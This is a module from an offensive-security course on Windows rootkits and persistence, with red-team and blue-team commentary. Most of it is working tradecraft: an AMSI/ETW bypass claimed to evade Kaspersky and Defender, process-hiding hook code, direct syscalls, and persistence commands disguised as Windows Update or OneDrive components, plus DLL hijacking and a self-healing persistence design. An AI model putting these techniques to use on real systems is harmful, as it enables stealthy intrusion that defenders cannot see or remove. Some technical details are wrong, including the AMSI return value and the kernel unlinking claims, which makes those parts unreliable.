Module 11 of 22 — Hiding in plain sight, persisting across reboots
"Rootkits hide, they don't attack."
A rootkit is the ghillie suit, not the sniper. It doesn't steal data, encrypt files, or move laterally — it makes all of those things invisible. The bomb and the cloak are two separate tools. A loud payload with no hiding dies fast; a perfect cloak with no payload is just a weird blanket.
Red: Build stealth first. If your process is flashing in Task Manager, nobody cares how clever your payload is. Blue: When you find malicious behavior, assume there is a cloak somewhere. The malware you see may only be the part that failed to hide.
🧠 The Core Truth
A rootkit is not malware. It's a hiding mechanism. The malware is the bomb. The rootkit is the invisible cloak. You can have a bomb without a cloak (loud, detectable) and a cloak without a bomb (useless, but stealthy). The best attacks combine both: devastating payload, undetectable delivery.
Rootkit = Stealth + Persistence. It hides processes, files, registry keys, and network connections. It also ensures the payload survives reboots, user logouts, and even OS reinstallation (hardware/firmware rootkits). If the defender can't see it, they can't remove it.
🎯 Soldier Translation
A rootkit is like a ghillie suit for software. The sniper (malware) wears the suit (rootkit) and becomes invisible to the enemy (AV/EDR). Without the suit, the sniper is spotted and eliminated. With the suit, the sniper can observe, aim, and fire without detection. The suit doesn't kill — it enables the kill.
Persistence is like burying supplies in the field before the battle. Even if the enemy clears the area, your caches remain. When you return, you have food, ammo, and comms ready.
📚 Prerequisites — What You Need First
This module assumes you understand these concepts from earlier modules:
Kaspersky and other AV-specific bypass techniques. Rootkits must evade signature and behavioral detection.
🎯 The Three Layers of Hiding
Rootkits operate at three distinct layers. Each layer provides deeper hiding and harder removal:
🟡 USER-MODE ROOTKIT
Hides from Task Manager, Process Explorer, file listings. Intercepts API calls that enumerate processes/files. The OS still knows the truth, but the user-facing tools are lied to.
Example: Hook NtQuerySystemInformation to remove your process from the list returned to Task Manager.
Detection: Kernel tools (WinDbg, Volatility) bypass user-mode hooks. Easy to detect with memory forensics.
🔵 KERNEL-MODE ROOTKIT
Hides from the OS itself. Modifies kernel data structures (EPROCESS, ETHREAD) to remove entries. Even kernel-level tools can't see it. Requires driver (SYS file) with legitimate signature or exploit.
Example: Unlink your process from the EPROCESS list. Windows scheduler can't see it, so it doesn't schedule it — but it still runs.
Detection: Requires direct memory analysis, cross-view analysis (compare API results with raw memory), or specialized rootkit scanners (GMER, RootkitRevealer).
🔴 HARDWARE / FIRMWARE ROOTKIT
Hides from everything. Modifies CPU debug registers, BIOS/UEFI firmware, or hypervisor. Survives OS reinstallation. The ultimate persistence. Requires deep hardware knowledge or firmware vulnerabilities.
Example: HWBP on DR0/DR1 to intercept AMSI/ETW without memory writes. UEFI bootkit persists before the OS loads.
Detection: Nearly impossible from within the OS. Requires external hardware analysis, firmware integrity checks, or trusted boot (Secure Boot, TPM).
"The deeper you hide, the harder you are to remove."
A user-mode rootkit is like hiding under a bedsheet — easy to pull off. A kernel rootkit is like hiding inside the wall — you have to tear the house apart. A firmware rootkit is like hiding in the foundation — even if you rebuild the house, it's still there. Each layer down buys you more time and more pain for the defender.
Red: Push down the stack whenever you can. User-mode hooks are fine for a quick op; firmware or kernel hooks are for long-term persistence. Blue: If a user-mode cleanup keeps failing, the rootkit has likely gone deeper. Escalate to memory forensics, firmware integrity checks, and offline analysis.
🔧 Method 1: HWBP AMSI+ETW Bypass (Hardware Layer)
What is AMSI and ETW?
AMSI (Anti-Malware Scan Interface) — Windows scans scripts (PowerShell, VBA, JavaScript) before execution. If it sees "Invoke-Mimikatz," it blocks it.
ETW (Event Tracing for Windows) — Windows logs security events. If you run mimikatz.exe, ETW logs it. SOC analysts see the log.
The problem: Traditional bypasses patch AMSI/ETW in memory. But Windows Defender's Tamper Protection prevents memory patching. We need a way to bypass without writing to memory.
The Hardware Breakpoint Trick
CPU debug registers (DR0-DR7) are hardware features for debugging. They can trigger an interrupt when specific code executes. We use them to intercept AMSI/ETW before they run — no memory writes, no Tamper Protection triggers.
=== HWBP BYPASS ARCHITECTURE ===
DR0 = Address of AmsiScanBuffer
DR1 = Address of EtwEventWrite
DR7 = Enable DR0 and DR1 as execution breakpoints
When AMSI/ETW is called:
1. CPU hits breakpoint → triggers VEH (Vectored Exception Handler)
2. Our VEH catches the exception
3. VEH modifies return value to "ALL CLEAN" (0x80070057)
4. VEH skips the original function
5. Execution continues — AMSI/ETW never actually runs
Result: AMSI sees nothing. ETW logs nothing. Zero memory writes.
Why hardware beats software
Tamper Protection monitors memory writes to AMSI/ETW. But debug registers are CPU hardware — not memory. Windows Defender can't see DR0/DR1 changes from user mode. The bypass is invisible to software-based protection.
=== TEST SETUP ===
C:\> vader_dropper.exe --test-hwbp
[+] Locating AmsiScanBuffer in amsi.dll
[+] Found at: 0x00007FF812345678
[+] Locating EtwEventWrite in ntdll.dll
[+] Found at: 0x00007FF898765432
[+] Setting DR0 = 0x00007FF812345678 (AmsiScanBuffer)
[+] Setting DR1 = 0x00007FF898765432 (EtwEventWrite)
[+] Setting DR7 = 0x0000000001010401 (enable DR0, DR1, execution breakpoints)
[+] VEH registered
[+] HWBP active. AMSI and ETW intercepted.
=== VERIFICATION ===
# Test 1: PowerShell with AMSI trigger
PS> "Invoke-Mimikatz" # Normally blocked by AMSI
# Result: NO BLOCK. String passed through.
# HWBP intercepted AmsiScanBuffer, returned "clean" before scan.
# Test 2: ETW event generation
PS> logman start test_trace -p Microsoft-Windows-PowerShell
# Result: NO EVENTS LOGGED.
# HWBP intercepted EtwEventWrite, skipped the write.
=== KAV RESPONSE ===
# Kaspersky 21.25 on .92: NO ALERT
# Windows Defender: NO ALERT (Tamper Protection bypassed)
# Reason: Zero memory writes. No behavior to detect.
🧬 Method 2: User-Mode API Hooking (The Cloak)
Hiding from Task Manager
Task Manager calls NtQuerySystemInformation to get the process list. We hook that function and remove our process from the returned list.
=== USER-MODE HOOK (IAT Hooking) ===
// Step 1: Find NtQuerySystemInformation in ntdll.dll
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
FARPROC pOrig = GetProcAddress(hNtdll, "NtQuerySystemInformation");
// Step 2: Replace with our function
// We modify the Import Address Table (IAT) of the calling process
// (e.g., taskmgr.exe) to point to our hook instead
NTSTATUS Hooked_NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS infoClass,
PVOID buffer,
ULONG bufferSize,
PULONG returnLength
) {
// Call original first
NTSTATUS status = Original_NtQuerySystemInformation(infoClass, buffer,
bufferSize, returnLength);
if (NT_SUCCESS(status) && infoClass == SystemProcessInformation) {
// Walk the process list and remove our PID
PSYSTEM_PROCESS_INFO pInfo = (PSYSTEM_PROCESS_INFO)buffer;
while (pInfo->NextEntryOffset) {
if (pInfo->ProcessId == OUR_PID) {
// Unlink this process from the list
PSYSTEM_PROCESS_INFO pNext =
(PSYSTEM_PROCESS_INFO)((BYTE*)pInfo + pInfo->NextEntryOffset);
pInfo->NextEntryOffset += pNext->NextEntryOffset;
break;
}
pInfo = (PSYSTEM_PROCESS_INFO)((BYTE*)pInfo + pInfo->NextEntryOffset);
}
}
return status;
}
// Result: Task Manager shows all processes EXCEPT ours.
// Process Explorer shows all processes EXCEPT ours.
// But the process is still running. Still connected to C2.
⚠️ Limitation of user-mode hooks
User-mode hooks only fool user-mode tools. Kernel-mode tools (like WinDbg, Volatility) or direct system calls bypass the hook. If the defender uses a tool that reads kernel memory directly, your process is visible. That's why kernel-mode rootkits are stronger — they hide from the kernel itself.
⚡ Method 3: Direct Syscalls (Bypassing Hooks)
What are Direct Syscalls?
When a Windows program calls an API like NtCreateFile, it goes through ntdll.dll, which sets up registers and executes the syscall instruction to enter kernel mode. EDR hooks monitor ntdll.dll. If we skip ntdll and execute the syscall instruction ourselves, the EDR hook is bypassed.
=== DIRECT SYSCALL PATTERN ===
// Normal path (hooked by EDR):
CreateFileW() → kernel32.dll → NtCreateFile() in ntdll.dll → EDR HOOK HERE → syscall → kernel
// Direct syscall path (bypasses EDR hook):
MyNtCreateFile() {
// Set up registers exactly like ntdll would
mov r10, rcx // First argument
mov eax, 0x55 // Syscall number for NtCreateFile
syscall // Enter kernel directly — no EDR hook!
ret
}
// We need the syscall number (0x55 on Win10 1903, changes per build)
// We can extract it dynamically from ntdll at runtime
Why direct syscalls matter for rootkits
EDR user-mode hooks sit in ntdll.dll. By calling the syscall instruction directly, we never touch the hooked function. The EDR sees nothing. This is the foundation of modern EDR evasion and is covered in detail in Module 13: EDR Evasion.
🔄 Persistence Mechanisms — The Tri-Vector Model
Rootkits don't just hide — they persist. A rootkit without persistence is a one-time tool. A rootkit with persistence is a permanent backdoor. We use the Tri-Vector Persistence Model: three independent mechanisms, each capable of restoring the others if one is removed.
Vector 1: Registry
Run keys, Winlogon, Shell folders, service DLLs. Survives reboot. Restored if deleted by other vectors.
Vector 2: Services
Windows services, WMI event subscriptions, scheduled tasks. Runs as SYSTEM. Restores registry keys.
Vector 3: Files
DLL sideloading, phantom DLL hijacking, startup folders. Restores services if they are removed.
Why tri-vector beats single-vector
A defender cleans the registry. Vector 2 (service) detects the missing registry key and recreates it. The defender removes the service. Vector 3 (file) detects the missing service and reinstalls it. The defender deletes the file. Vector 1 (registry) detects the missing file and downloads it again. The rootkit is a self-healing organism.
Persistence 1: Registry Run Keys
The Classic — Still Works
Registry run keys execute programs on user login or system boot. They are the simplest and most reliable persistence mechanism.
=== REGISTRY RUN KEYS ===
# User-level (runs when current user logs in)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# System-level (runs when ANY user logs in — requires admin)
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
# Example: Add payload to run on every login
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveUpdate" /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Roaming\OneDrive\update.exe" /f
# Detection: Autoruns (Sysinternals), Registry Explorer
# Cross-link: See Module 07 (Registry) for deep dive on registry forensics
Windows services run with SYSTEM privileges, start before user login, and can be configured to restart automatically. A malicious service is the gold standard for persistence.
=== MALICIOUS SERVICE CREATION ===
# Create a service that runs our payload as SYSTEM
sc create "WindowsUpdate" binPath= "C:\Windows\Temp\svchost.exe" start= auto displayname= "Windows Update Service"
# Configure recovery: restart on failure
sc failure "WindowsUpdate" reset= 0 actions= restart/0/restart/0/restart/0
# Start the service
sc start "WindowsUpdate"
# Query service status
sc query "WindowsUpdate"
# The service now runs as SYSTEM, starts on boot, and restarts if it crashes.
# It can restore registry keys and reinstall files if they are removed.
⚠️ Service Detection
Services are heavily monitored by EDR. New service creation generates Event ID 7045 (service installed). Use WMI event subscriptions or scheduled tasks for stealthier alternatives.
Persistence 3: WMI Event Subscriptions
The Ghost in the WMI Repository
WMI (Windows Management Instrumentation) event subscriptions are fileless persistence. They live in the WMI repository, not the registry or filesystem. Most AV/EDR doesn't monitor WMI events.
=== WMI EVENT SUBSCRIPTION ===
# Create a WMI event that triggers every 10 minutes and runs our payload
# This is FILELESS — the payload command is stored in the WMI repository
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = "WindowsUpdateFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = "WindowsUpdateConsumer"
CommandLineTemplate = "C:\Windows\Temp\svchost.exe"
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $filter
Consumer = $consumer
}
# Detection: Get-WmiObject -Class __EventFilter -Namespace "root\subscription"
# Removal: Remove-WmiObject -Class __EventFilter -Namespace "root\subscription" -Filter "Name='WindowsUpdateFilter'"
Scheduled tasks are versatile: they can trigger on time, logon, idle, event IDs, or even when a specific user connects. They can run as any user, including SYSTEM, and can be hidden from the Task Scheduler UI.
=== SCHEDULED TASK PERSISTENCE ===
# Create a hidden scheduled task that runs on logon
schtasks /create /tn "Microsoft\Windows\Security\UpdateCheck" /tr "C:\Windows\Temp\svchost.exe" /sc onlogon /ru SYSTEM /rl highest /f
# Hide from Task Scheduler UI by placing in a Microsoft subfolder
# The UI only shows top-level tasks unless you drill down
# Create a task that triggers on an event (e.g., Event ID 4624 — successful logon)
schtasks /create /tn "WindowsDefenderUpdate" /tr "C:\Windows\Temp\defender.exe" /sc onevent /ec Security /mo "*[System[EventID=4624]]" /ru SYSTEM /f
# List all tasks (including hidden)
schtasks /query /fo LIST /v | findstr "Task Name"
# Delete a task
schtasks /delete /tn "Microsoft\Windows\Security\UpdateCheck" /f
Why scheduled tasks are powerful
Tasks can trigger on any Windows event. Event ID 4624 (successful logon) means your payload runs every time someone logs in. Event ID 4688 (process creation) means your payload runs when a specific process starts. Event ID 7045 (service installation) means your payload runs when a defender installs a new service — perfect for detecting and countering blue-team actions.
"Save every rung."
A ladder with one rung is a stick. A rootkit with one persistence mechanism is a one-shot tool. If the defender cuts your registry key, your service, or your file, you need another way back in. Plant rungs at different heights — registry, service, WMI, scheduled task, DLL sideload — so losing one just means climbing the next.
Red: Never rely on a single persistence method. Build redundant restoration paths that monitor and rebuild each other. Blue: Removing one artifact is not cleanup. Hunt for the whole ladder: registry watchers, WMI subscriptions, hidden tasks, and phantom DLLs often travel together.
🎯 Tri-Vector Persistence in Action
Here is how the three vectors work together to create an unkillable rootkit:
1. REGISTRY
Run Key
Starts payload on user login
↔
2. SERVICE
WMI Event
Restores registry if deleted
↔
3. FILE
DLL Sideload
Restores service if removed
=== TRI-VECTOR PSEUDOCODE ===
// Vector 1: Registry watcher (runs as user)
RegistryWatcher() {
while (true) {
if (RunKeyMissing()) {
RestoreRunKey();
Log("Registry restored by Vector 1");
}
Sleep(60000); // Check every minute
}
}
// Vector 2: WMI event (runs as SYSTEM, fileless)
WMIEvent() {
// Trigger: Every 10 minutes OR when registry key is deleted
// Action: Restore registry key, reinstall service
CommandLine = "powershell -enc ";
}
// Vector 3: Phantom DLL hijack (runs when legitimate app starts)
// Legitimate app: C:\Program Files\App\app.exe
// Hijacked DLL: C:\Program Files\App\version.dll (missing, we provide it)
// When app.exe starts, it loads our version.dll
// Our DLL: Restores WMI event and registry key, then calls real version.dll
// Result: Deleting any ONE vector leaves TWO vectors alive.
// The two alive vectors restore the deleted one within minutes.
🎭 Method 4: DLL Sideloading
Abusing Legitimate Executables
DLL sideloading exploits the Windows DLL search order. When a program loads a DLL, Windows searches: Application Directory → System32 → SysWOW64 → PATH. If we place a malicious DLL with the same name as a legitimate DLL in the application directory, the program loads our DLL instead.
=== DLL SIDELOADING ARCHITECTURE ===
# Windows DLL Search Order:
1. Directory where the executable is loaded
2. C:\Windows\System32
3. C:\Windows\SysWOW64 (for 32-bit apps on 64-bit OS)
4. C:\Windows
5. Current directory
6. Directories in PATH environment variable
# Attack:
# 1. Find a legitimate signed executable that imports a DLL
# 2. Check if that DLL exists in the executable's directory
# 3. If NOT, we can place a malicious DLL with the same name there
# 4. The executable loads our DLL instead of the system one
# Example: OneDrive.exe imports version.dll
# OneDrive.exe directory: C:\Users\%USERNAME%\AppData\Local\Microsoft\OneDrive
# Does version.dll exist there? NO.
# We place our malicious version.dll there.
# OneDrive.exe starts → loads our version.dll → our code runs.
# OneDrive.exe is SIGNED by Microsoft. AV trusts it.
# Our malicious version.dll:
# 1. Execute payload (e.g., reverse shell)
# 2. Forward all exports to the REAL version.dll in System32
# 3. The app continues working normally — no crash, no suspicion.
[.92 LAB]# Kaspersky 21.25: NO ALERT — OneDrive.exe is trusted
👻 Method 5: Phantom DLL Hijacking
The Missing DLL That Was Never There
Phantom DLL hijacking is a variant of DLL sideloading where the legitimate executable imports a DLL that does not exist on a default Windows installation. We create the missing DLL, and the executable loads it without any need to overwrite or replace existing files.
=== PHANTOM DLL HIJACK ===
# Step 1: Find executables that import non-existent DLLs
# Tool: Process Monitor (ProcMon) from Sysinternals
# Filter: Show DLL load attempts with NAME NOT FOUND
# Common phantom DLLs:
# - wlanapi.dll (not present on wired-only systems)
# - slc.dll (Software Licensing Client — not on all editions)
# - msfte.dll (Windows Search — not on all systems)
# Step 2: Create the phantom DLL with our payload
# The DLL must export the same functions the executable expects
# Use DLL export forwarders to avoid crashes
# Example: Create wlanapi.dll for a wired desktop
# The executable tries to load wlanapi.dll → loads our DLL
# Our DLL: runs payload, then returns "no wireless available"
# The executable continues normally.
# Advantages over normal DLL sideloading:
# 1. No existing file to overwrite (less suspicious)
# 2. The DLL "belongs" there — it's expected by the app
# 3. AV is less likely to flag a "missing DLL being provided"
Why phantom DLLs are stealthy
When you replace an existing DLL (normal sideloading), the file hash changes. EDR may detect the modified hash. With phantom DLL hijacking, there is no original file to compare against. The DLL is "new" but "expected." The executable itself asks for it.
🧠 Method 6: Kernel-Mode Rootkits (The Nuclear Option)
Unlinking from EPROCESS — True Invisibility
The kernel maintains a doubly-linked list of all processes in the EPROCESS structure. If we remove our process from this list, the scheduler doesn't see it, Task Manager doesn't see it, and even kernel tools that walk the list don't see it. The process still exists in memory and still executes — it's just not on the list.
=== KERNEL EPROCESS UNLINK ===
// EPROCESS structure (simplified, Windows 10 1903):
// +0x000 Pcb : _KPROCESS
// +0x2E8 ProcessListEntry : _LIST_ENTRY <--- Forward/Backward links
// +0x2F8 UniqueProcessId : Ptr64 Void
// +0x300 ActiveProcessLinks : _LIST_ENTRY <--- The list we modify
// To hide a process:
// 1. Find our EPROCESS structure (using PsLookupProcessByProcessId)
// 2. Read ActiveProcessLinks.Flink and Blink
// 3. Modify the PREVIOUS process's Flink to point to our Flink
// 4. Modify the NEXT process's Blink to point to our Blink
// 5. Our process is now unlinked from the list
// Before: [Prev] <-> [Our Process] <-> [Next]
// After: [Prev] <-> [Next]
// Our process still runs, but the list skips over it.
// Detection: Cross-view analysis
// - API says: 50 processes
// - PspCidTable says: 51 processes
// - The difference is the hidden process
⚠️ Kernel Rootkit Requirements
Kernel rootkits require a signed driver or an exploit to load unsigned code. Windows 10/11 enforces Driver Signature Enforcement (DSE) and Secure Boot. Options: 1) Steal a valid certificate, 2) Exploit a vulnerable signed driver (BYOVD — Bring Your Own Vulnerable Driver), 3) Disable DSE using an exploit (e.g., CVE-2023-21768). All are advanced and covered in Module 13: EDR Evasion.
🧪 Lab Exercise: Build a Process Hider
Safe Practice: Hide calc.exe from Task Manager
DO NOT hide system processes. Practice on calc.exe that you started yourself.
Start calc.exe
Compile the IAT hook DLL
Inject the DLL into taskmgr.exe (requires admin)
Open Task Manager — calc.exe should be invisible
Verify: Is calc.exe still running? (Yes = success)
=== BUILD STEPS ===
# 1. Open "Developer Command Prompt for VS 2022"
# 2. Build the hook DLL
cl.exe /LD process_hider.c /Fe:C:\temp\process_hider.dll
# 3. Build the injector (from Module 10)
cl.exe injector.c /Fe:C:\temp\injector.exe
# 4. Start calc.exe
C:\temp> calc.exe
# 5. Find calc.exe PID
tasklist | findstr calc
# 6. Inject hook DLL into taskmgr.exe (requires admin!)
# Right-click injector.exe → "Run as administrator"
C:\temp> injector.exe taskmgr.exe C:\temp\process_hider.dll
# 7. Open Task Manager (Ctrl+Shift+Esc)
# Look for calc.exe — it should be missing from the list
# But calc.exe is still running (check with Process Hacker)
🧪 Lab Exercise: Tri-Vector Persistence Setup
Build a Self-Healing Rootkit
This exercise uses a benign payload (notepad.exe) to demonstrate tri-vector persistence without causing harm.
=== TRI-VECTOR LAB (.42) ===
# Step 1: Create the payload directory
mkdir C:\Temp\PersistenceLab
# Step 2: Vector 1 — Registry Run Key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "PersistenceLab" /t REG_SZ /d "C:\Temp\PersistenceLab\notepad.exe" /f
# Step 3: Vector 2 — WMI Event Subscription (every 5 minutes)
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = "PersistenceLabFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = "PersistenceLabConsumer"
CommandLineTemplate = "C:\Temp\PersistenceLab\notepad.exe"
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $filter
Consumer = $consumer
}
# Step 4: Vector 3 — Scheduled Task (on logon)
schtasks /create /tn "Microsoft\Windows\Maintenance\PersistenceLab" /tr "C:\Temp\PersistenceLab\notepad.exe" /sc onlogon /f
# Step 5: Test self-healing
# Delete the registry key:
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "PersistenceLab" /f
# Wait 5 minutes. The WMI event will restore it.
# Delete the scheduled task:
schtasks /delete /tn "Microsoft\Windows\Maintenance\PersistenceLab" /f
# Log off and log on. The registry key will restore the task.